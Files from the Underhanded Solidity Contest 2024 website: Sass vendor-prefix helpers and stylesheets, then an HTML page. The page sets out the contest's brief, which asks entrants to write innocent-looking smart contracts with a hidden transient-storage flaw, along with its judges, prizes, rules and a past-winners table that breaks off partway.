points.\n\t\t\t'scroll-snap-coordinate',\n\t\t\t'scroll-snap-destination',\n\t\t\t'scroll-snap-points-x',\n\t\t\t'scroll-snap-points-y',\n\t\t\t'scroll-snap-type',\n\n\t\t// Shapes.\n\t\t\t'shape-image-threshold',\n\t\t\t'shape-margin',\n\t\t\t'shape-outside',\n\n\t\t// Tab size.\n\t\t\t'tab-size',\n\n\t\t// Text align last.\n\t\t\t'text-align-last',\n\n\t\t// Text decoration.\n\t\t\t'text-decoration-color',\n\t\t\t'text-decoration-line',\n\t\t\t'text-decoration-skip',\n\t\t\t'text-decoration-style',\n\n\t\t// Text emphasis.\n\t\t\t'text-emphasis',\n\t\t\t'text-emphasis-color',\n\t\t\t'text-emphasis-position',\n\t\t\t'text-emphasis-style',\n\n\t\t// Text size adjust.\n\t\t\t'text-size-adjust',\n\n\t\t// Text spacing.\n\t\t\t'text-spacing',\n\n\t\t// Transform.\n\t\t\t'transform',\n\t\t\t'transform-origin',\n\n\t\t// Transform 3D.\n\t\t\t'backface-visibility',\n\t\t\t'perspective',\n\t\t\t'perspective-origin',\n\t\t\t'transform-style',\n\n\t\t// Transition.\n\t\t\t'transition',\n\t\t\t'transition-delay',\n\t\t\t'transition-duration',\n\t\t\t'transition-property',\n\t\t\t'transition-timing-function',\n\n\t\t// Unicode bidi.\n\t\t\t'unicode-bidi',\n\n\t\t// User select.\n\t\t\t'user-select',\n\n\t\t// Writing mode.\n\t\t\t'writing-mode',\n\n\t);\n\n\t/// Values that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-values: (\n\n\t\t// Cross fade.\n\t\t\t'cross-fade',\n\n\t\t// Element function.\n\t\t\t'element',\n\n\t\t// Filter function.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'flex',\n\t\t\t'inline-flex',\n\n\t\t// Grab cursors.\n\t\t\t'grab',\n\t\t\t'grabbing',\n\n\t\t// Gradients.\n\t\t\t'linear-gradient',\n\t\t\t'repeating-linear-gradient',\n\t\t\t'radial-gradient',\n\t\t\t'repeating-radial-gradient',\n\n\t\t// Grid layout.\n\t\t\t'grid',\n\t\t\t'inline-grid',\n\n\t\t// Image set.\n\t\t\t'image-set',\n\n\t\t// Intrinsic width.\n\t\t\t'max-content',\n\t\t\t'min-content',\n\t\t\t'fit-content',\n\t\t\t'fill',\n\t\t\t'fill-available',\n\t\t\t'stretch',\n\n\t\t// Sticky position.\n\t\t\t'sticky',\n\n\t\t// Transform.\n\t\t\t'transform',\n\n\t\t// Zoom cursors.\n\t\t\t'zoom-in',\n\t\t\t'zoom-out',\n\n\t);\n\n// Functions.\n\n\t/// Removes a specific item from a list.\n\t/// @author Hugo Giraudel\n\t/// @param {list} $list List.\n\t/// @param {integer} $index Index.\n\t/// @return {list} Updated list.\n\t@function remove-nth($list, $index) {\n\n\t\t$result: null;\n\n\t\t@if type-of($index) != number {\n\t\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\n\t\t}\n\t\t@else if $index == 0 {\n\t\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\n\t\t}\n\t\t@else if abs($index) > length($list) {\n\t\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\n\t\t}\n\t\t@else {\n\n\t\t\t$result: ();\n\t\t\t$index: if($index < 0, length($list) + $index + 1, $index);\n\n\t\t\t@for $i from 1 through length($list) {\n\n\t\t\t\t@if $i != $index {\n\t\t\t\t\t$result: append($result, nth($list, $i));\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\t@return $result;\n\n\t}\n\n\t/// Replaces a substring within another string.\n\t/// @author Hugo Giraudel\n\t/// @param {string} $string String.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {string} Updated string.\n\t@function str-replace($string, $search, $replace: '') {\n\n\t\t$index: str-index($string, $search);\n\n\t\t@if $index {\n\t\t\t@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\n\t\t}\n\n\t\t@return $string;\n\n\t}\n\n\t/// Replaces a substring within each string in a list.\n\t/// @param {list} $strings List of strings.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {list} Updated list of strings.\n\t@function str-replace-all($strings, $search, $replace: '') {\n\n\t\t@each $string in $strings {\n\t\t\t$strings: set-nth($strings, index($strings, $string), str-replace($string, $search, $replace));\n\t\t}\n\n\t\t@return $strings;\n\n\t}\n\n// Mixins.\n\n\t/// Wraps @content in vendorized keyframe blocks.\n\t/// @param {string} $name Name.\n\t@mixin keyframes($name) {\n\n\t\t@-moz-keyframes #{$name} { @content; }\n\t\t@-webkit-keyframes #{$name} { @content; }\n\t\t@-ms-keyframes #{$name} { @content; }\n\t\t@keyframes #{$name} { @content; }\n\n\t}\n\n\t/// Vendorizes a declaration's property and/or value(s).\n\t/// @param {string} $property Property.\n\t/// @param {mixed} $value String/list of value(s).\n\t@mixin vendor($property, $value) {\n\n\t\t// Determine if property should expand.\n\t\t\t$expandProperty: index($vendor-properties, $property);\n\n\t\t// Determine if value should expand (and if so, add '-prefix-' placeholder).\n\t\t\t$expandValue: false;\n\n\t\t\t@each $x in $value {\n\t\t\t\t@each $y in $vendor-values {\n\t\t\t\t\t@if $y == str-slice($x, 1, str-length($y)) {\n\n\t\t\t\t\t\t$value: set-nth($value, index($value, $x), '-prefix-' + $x);\n\t\t\t\t\t\t$expandValue: true;\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Expand property?\n\t\t\t@if $expandProperty {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$vendor}#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Expand just the value?\n\t\t\t@elseif $expandValue {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Neither? Treat them as a normal declaration.\n\t\t\t@else {\n\t\t        #{$property}: #{$value};\n\t\t\t}\n\n\t}"
  },
  {
    "path": "assets/sass/main.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n@import 'fontawesome-all.min.css';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n// Breakpoints.\r\n\r\n\t@include breakpoints((\r\n\t\txlarge:   ( 1281px,  1680px ),\r\n\t\tlarge:    ( 981px,   1280px ),\r\n\t\tmedium:   ( 737px,   980px  ),\r\n\t\tsmall:    ( 481px,   736px  ),\r\n\t\txsmall:   ( 361px,   480px  ),\r\n\t\txxsmall:  ( null,    360px  )\r\n\t));\r\n\r\n// Base.\r\n\r\n\t@import 'base/reset';\r\n\t@import 'base/page';\r\n\t@import 'base/typography';\r\n\r\n// Component.\r\n\r\n\t@import 'components/row';\r\n\t@import 'components/box';\r\n\t@import 'components/button';\r\n\t@import 'components/features';\r\n\t@import 'components/form';\r\n\t@import 'components/icon';\r\n\t@import 'components/image';\r\n\t@import 'components/list';\r\n\t@import 'components/actions';\r\n\t@import 'components/contact';\r\n\t@import 'components/icons';\r\n\t@import 'components/menu';\r\n\t@import 'components/section';\r\n\t@import 'components/split';\r\n\t@import 'components/spotlights';\r\n\t@import 'components/table';\r\n\t@import 'components/wrapper';\r\n\r\n// Layout.\r\n\r\n\t@import 'layout/header';\r\n\t@import 'layout/wrapper';\r\n\t@import 'layout/footer';\r\n\t@import 'layout/sidebar';\r\n\t@import 'layout/intro';\r\n"
  },
  {
    "path": "assets/sass/noscript.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t> .image {\r\n\t\t\t\t&:before {\r\n\t\t\t\t\topacity: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Wrapper */\r\n\r\n\t.wrapper {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t\t@include vendor('transform', 'none !important');\r\n\t\t}\r\n\t}\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "index.html",
    "content": "<!DOCTYPE HTML>\r\n<!--\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n-->\r\n<html>\r\n\t<head>\r\n\t\t<title>Underhanded Solidity Contest</title>\r\n\t\t<meta charset=\"utf-8\" />\r\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\" />\r\n\t\t<link href=\"https://fonts.googleapis.com/css2?family=Fira+Code:wght@300&display=swap\" rel=\"stylesheet\">\r\n\t\t<link rel=\"icon\" href=\"favicon.ico\"> \r\n\t\t<link rel=\"stylesheet\" href=\"assets/css/main.css\" />\r\n\t\t<noscript><link rel=\"stylesheet\" href=\"assets/css/noscript.css\" /></noscript>\r\n\t</head>\r\n\t<body class=\"is-preload\">\r\n\r\n\t\t<!-- Sidebar -->\r\n\t\t\t<section id=\"sidebar\">\r\n\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t<nav>\r\n\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t<li><a href=\"#intro\">Welcome</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#contest-info\">Contest Info</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#coding-brief\">Coding Brief</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#participation\">Submission & Participation</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#about\">About</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#board-of-fame\">Board of Fame</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#contact\">Contact</a></li>\r\n\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t</nav>\r\n\t\t\t\t</div>\r\n\t\t\t</section>\r\n\r\n\t\t<!-- Wrapper -->\r\n\t\t\t<div id=\"wrapper\">\r\n\r\n\t\t\t\t<!-- Intro -->\r\n\t\t\t\t\t<section id=\"intro\" class=\"wrapper style1 fullscreen fade-up\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h1>Underhanded Solidity Contest 2024</h1>\r\n\t\t\t\t\t\t\t<h3>The Underhanded Solidity Contest 2024 is over!<br><br>\r\n\t\t\t\t\t\t\tRead about the winning submissions in the <a href=\"https://soliditylang.org/blog/2024/10/14/announcing-the-underhanded-contest-winners-2024/\">winner announcement</a> or check out all submissions in <a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2024/submissions_2024\">this repo</a>.<br><br>\r\n\t\t\t\t\t\t\tThe goal of the Underhanded Solidity Contest is to write seemingly innocent and straightforward-looking Solidity code which actually contains malicious behavior or backdoors.<br><br></h3>\r\n\t\t\t\t\t\t\t<ul class=\"actions\">\r\n\t\t\t\t\t\t\t\t<li><a href=\"#contest-info\" class=\"button scrolly\">2024 Contest Details</a></li>\r\n\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\t\t\t\t\r\n\t\t\t\t<!-- One -->\r\n\t\t\t\t\t<section id=\"contest-info\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion1.png\" alt=\"Cubes Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Theme</h2>\r\n\t\t\t\t\t\t\t\t\t<p>Based on this year’s theme, the participants are tasked with the challenge to develop smart contracts that leverage transient storage (EIP-1153), i.e. the <code>TSTORE</code> and <code>TLOAD</code> opcodes.</p>\r\n\t\t\t\t\t\t\t\t\t<p>Transient storage is as cheap as warm storage access with both reads and writes priced at 100 gas. It is well-suited for use-cases such as cheap re-entrancy locks.</p>\r\n\t\t\t\t\t\t\t\t\t<p>The aim of USC 2024 is to showcase a transient storage use-case in a way that looks legitimate but contains a hidden vulnerability or manipulation mechanism in the implementation that is exposed because of transient storage.</p>\r\n\r\n\t\t\t\t\t\t\t\t\t<p>Things to keep in mind:</p>\r\n\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>The compiler does not yet allow using transient as a data location in high-level Solidity code. For the time being, data stored in this location can only be accessed using the <code>TSTORE</code> and <code>TLOAD</code> opcodes in inline assembly.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Simplicity is key! The shorter the submission is, the better. For instance, leave out ERC20 functions that do not add value to the objective of the contest.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Bonus points if the submission includes a unique and interesting real-world scenario in the readme file.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Extra points for a clear and concise explanation of the vulnerability built into your submission.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>We love being surprised! Explain the vulnerability in a separate file named <code>rugpull.txt</code> or <code>spoiler.txt</code>, so the judges can evaluate the submission without knowing where the malicious code is hidden.</li>\r\n\t\t\t\t\t\t\t\t\t\t</ul>\t\t\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion2.png\" alt=\"Triangle Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Judges</h2>\r\n\t\t\t\t\t\t\t\t\t<p>Judges are presented with anonymised submissions. This year, the submissions will be assessed by:</p>\r\n\t\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://x.com/alpeh_v\">aleph_v</a>, Independent Security Researcher.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/a_permenev\">Anton Permenev</a>, Senior Engineer at ChainSecurity.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://x.com/realgmhacker\">Goncalo Magalhaes</a>, Head of Security at Immunefi.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/GNSPS\">Gonçalo Sá</a>, Co-founder, ConsenSys Diligence & Creed.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://x.com/amxx\">Hadrien Croubois</a>, Smart Contract Engineer at OpenZeppelin.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/_hrkrshnn\">Harikrishnan Mulackal</a>, Co-founder, Spearbit.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://x.com/PatrickAlphaC\">Patrick Collins</a>, Co-founder, Cyfrin.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/samczsun\">samczsun</a>, Research Partner at Paradigm.</li>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion3.png\" alt=\"Zeta Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Prizes</h2>\r\n\t\t\t\t\t\t\t\t\t<p>The first place will receive a ticket to <a href=\"https://devcon.org/en/\">Devcon SEA 2024</a>.</p>\r\n\t\t\t\t\t\t\t\t\t<p>The top 3 submissions will receive a ticket to the next <a href=\"https://summit.soliditylang.org\">Solidity Summit</a> (location and dates TBA)</p>\r\n\t\t\t\t\t\t\t\t\t<p>Furthermore, the three winners will be added to the Board of Fame. The winners and all qualified submissions will receive a custom Underhanded Solidity Contest t-shirt.</p>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- Two -->\r\n\t\t\t\t\t<section id=\"coding-brief\" class=\"wrapper style3 fade-up\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h2>Coding Brief & Guidelines</h2>\r\n\t\t\t\t\t\t\t<p>All you need to know about contest participation and submission!</p>\r\n\t\t\t\t\t\t\t<div class=\"features\">\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Brief</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Build a decentralized app or write a smart contract that looks fair, but can be \"manipulated\" using transient storage opcodes in inline assembly.<br><br>This could be by, e.g., failing to reset the transient storage by the end of the call or breaking the composability of the code. The only hard requirement is that the flaw is hidden.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-gem\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Plausibility & Originality</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Remember to consider plausibility. Code that drops down to inline assembly without any clear reason will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.<br><br>In addition to that it's needless to say that truly original and unique ideas will receive higher scores than already well known exploit/backdoor mechanisms.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-save\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Simplicity is key!</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Submissions that are clear and concise will rank higher than those that are convoluted and verbose. It's easy to hide a vulnerability in complex and poorly written code, but harder to hide in clean and straightforward looking code.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-clock\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Timeline</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Make sure to send submissions before the end of the deadline!<br><br>\r\n\t\t\t\t\t\t\t\t\t\tSubmissions open: 2024-07-31.<br>\r\n\t\t\t\t\t\t\t\t\t\tSubmissions close: 2024-08-31.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tWinners will be announced in time before <a href=\"https://devcon.org/en/\">Devcon SEA 2024</a> in November.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-lock-open\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Open-Source License</h4>\r\n\t\t\t\t\t\t\t\t\t<p>The entirety of your submission must be licensed under an <a href=\"https://opensource.org/licenses\">open-source license</a>. You must not submit anything that cannot be published publicly on our blog or GitHub.</p>\r\n\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code-branch\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Solidity Version</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Please use <a href=\"https://github.com/ethereum/solidity/releases/tag/v0.8.24\">Solidity v0.8.24</a> or higher.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- Three -->\r\n\t\t\t\t\t\t<section id=\"participation\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t\t<h2>Submission & Participation</h2>\r\n\t\t\t\t\t\t\t\t\t\t<p>Please email your submissions before the deadline [2024-08-31, 11:59PM UTC] to <a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>. Entries should consist of a ZIP file containing a README describing your submission and how it works [spoilers into a different file!], and one or more Solidity files.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tEach person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.</p>\r\n\t\t\t\t\t\t\t\t\t\t<h4>Who can participate?</h4>\r\n\t\t\t\t\t\t\t\t\t\t<p>Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.</p>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</section>\r\n\r\n\t\t\t\t\t\t\t<section id=\"about\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t\t<h2>About</h2>\r\n\t\t\t\t\t\t\t\t\t\t<p>Inspired by the <a href=\"http://www.underhanded-c.org/\">Underhanded C Contest</a> and the first <a href=\"https://u.solidity.cc/\">Underhanded Solidity Contest</a>, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a <a href=\"https://underhanded.soliditylang.org/2020\">revival</a>. Nowadays, the Underhanded Solidity Contest takes place regularly on an annual to bi-annual basis.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tThe Underhanded Solidity Contest aims to:\r\n\t\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Raise awareness about smart contract security.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Uncover language design faults.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Battle-test recently introduced language features and restrictions.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Highlight anti-patterns in smart contact development.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Establish new best practices for secure smart contract development.</li>\r\n\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- Four -->\r\n\t\t\t\t<section id=\"board-of-fame\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t\t<h2>Board of Fame</h2>\r\n\t\t\t\t\t\t\t\t\t\t<p>The Underhanded Solidity Board of Fame lists the winners of all Underhanded Solidity Contests throughout the years.</p>\r\n\t\t\t\t\t\t\t\t\t\t<p>The first contest was helt in 2017 and evolved around the topic of \"ICOs\". Read more in the <a href=\"https://weka.medium.com/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079\">2017 Winner Announcement</a>.</p>\r\n\t\t\t\t\t\t\t\t\t\t<p>The topic of the second Underhanded Contest in 2020 was \"Upgrade Mechanisms\". Read more in the <a href=\"https://blog.soliditylang.org/2020/12/03/solidity-underhanded-contest-winners/\">2020 Winner Announcement</a>.</p>\r\n\t\t\t\t\t\t\t\t\t\t<p>In 2022, the theme was \"Decentralized Exchanges\". Read more in the <a href=\"https://blog.soliditylang.org/2022/04/08/announcing-the-underhanded-contest-winners-2022/\">2022 Winner Announcement</a>.</p>\r\n\t\t\t\t\t\t\t\t\t\t<p>And finally, in 2024, the theme was \"Transient Storage\" as mentioned in the contest details above. Read more about the theme and the winners in the <a href=\"https://soliditylang.org/blog/2024/10/14/announcing-the-underhanded-contest-winners-2024/\">2024 Winner Announcement</a>.</p>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"table-wrapper\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<table class=\"alt\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<thead>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Year</th>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Topic</th>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Name</th>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Rank</th>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</thead>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/martinswende\">Martin Swende</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/ricmoo\">Richard Moore</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/joa%CC%83ocarvalho\">João Carvalho</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission11_RobertMCForster\">Robert M C Forster</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission4_JaimeIglesias\">Jaime 